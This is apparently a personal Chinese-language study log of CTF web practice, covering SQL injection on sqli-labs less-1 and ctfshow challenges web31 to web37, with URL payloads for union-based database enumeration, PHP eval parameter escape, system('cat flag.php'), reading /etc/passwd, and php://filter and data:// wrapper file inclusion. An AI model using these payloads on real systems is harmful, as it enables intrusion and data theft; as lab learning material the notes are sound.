2021/7/6

sql注入

sqlmap使用

需要python2.7环境

  • 需要python时说明python2或者Python3

输入python sqlmap.py+命令行

sqli-labs

less-1

字符型注入

url/?id=1' order by 4#

直接输入无效就用url编码(要构造#闭合)

url/?id=1%27%20order%20by%204%23

依次尝试 验证有3列

image-20210706102005600

获取数据库名称

url/?id=' union select null,database(),3#

image-20210706101910261

获取全部数据库名称

url/?id=' union select null,(select group_concat(schema_name) from information_schema.schemata),null#

image-20210706104513276

url/?id='union select null,null,(select group_concat(table_name) from information_schema.tables where table_schema=database())#

tamadexiebuxiaqulekaishikanyufa

命令执行

命令执行和代码执行的区别

代码执行: 将用户输入作为系统命令的参数拼接到系统命令中

代码执行漏洞是把代码注入到Web服务器中执行,而命令执行漏洞执行的系统命令。主要有两种产生原因:代码执行函数和动态函数执行,在php中还存在双引号执行的情况。常见的导致代码执行的函数有:eval()、assert()、preg_replace()、call_user_func()、array_map()

命令执行:将用户输入作为系统命令的参数拼接到系统命令中

相比较代码执行漏洞,命令执行漏洞的危害更大,它所执行的命令会继承WebServer的权限,也就是说可以任意读取、修改、执行Web目录下的任何文件。能够进行命令执行的php函数一共有七个,分别是:system()、exec()、shell_exec()、passthru()、pcntl_exec()、popen()、proc_open(),除函数外,倒引号(这里用反向单引号)内的内容也可以进行命令执行

https://www.cnblogs.com/richardlee97/p/10627432.html

web31

过滤逐渐变态

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){eval($c);}

//模式分隔符后的”i”标记这是一个大小写不敏感的搜索

  • /?c=show_source**(next(array_reverse(scandir(pos(**localeconv())))));

    这个是真离谱

  • /?c=echo%09tac%09*; //注意绕过空格 %20(space)可以用%09(tab)代替

  • ctfshow标答

    • url//?c=eval($_GET[1]);&1=phpinfo();//让1这个参数逃逸出去 所有被ban的字符都可以使用
    • url/?c=eval($_GET[1]);&1=system(‘cat flag.php’);
    • 查看源代码 //用tac可以不用查看源代码直接查看
web32

image-20210706170453734

  • url/?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

    • 因为分号引号空格括号等等都被ban了 用include代替(文件包含)%0a代表换行

    • get实现参数逃逸 (可以先用&1=/etc/passwd验证)

    • php://filter/convert.base64-encode/resource=路劲hackbar插件里有(LFI–Using wrappers)

    • 得到一长串字符 hackbar base64解码得到flag

web33

image-20210706192944994

多屏蔽了一个双引号

  • 上一题的方法依然可用 发现甚至可以不加%0a换行

    • url/?c=require$_GET[1]?>&1=/etc/passwd 验证可行

    • /?c=require$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

    • 得到字符串 base64转码 得到flag

  1. require() 语句的性能与 include() 相类似,都是包括并运行指定文件。require() 和 include() 语句是语言结构,不是真正的函数,可以像 php 中其他的语言结构一样,例如 echo() 可以使用 echo(“ab”) 形式,也可以使用 echo “abc” 形式输出字符串 abc。require() 和 include() 语句也可以不加圆括号而直接加参数。

  2. GET里的参数外的引号可以不加 向下兼容

web34

image-20210706195352479

web35

image-20210706200107010

web36

image-20210706200359822

同上。35新增屏蔽了左尖括号< 没有影响

36新增屏蔽数字 –>把参数1换成字母就行

web37

image-20210706201423756

用了include包含参数c 这意味着代码不会直接执行

比如``url/?c=_GET[1]&1=flag.php`(不需要分号)无法执行

eval() — 把字符串作为PHP代码执行 return 语句会立即中止当前字符串的执行。

php include($file) 和 eval(get_file_contents($file)) 作用相似

  • url/?c=?page=php://filter/convert.base64-encode/resource=flag.php 不行 包含flag和php

  • url/?c=data://text/plain, image-20210707091656708

    • data伪协议 将后面语句作为代码执行 –> 验证可行

    • url/?c=data://text/plain,

    • 或者 url/?c=data://text/plain, 然后url/1.txt //必要时可以base64编码

      伪协议与文件包含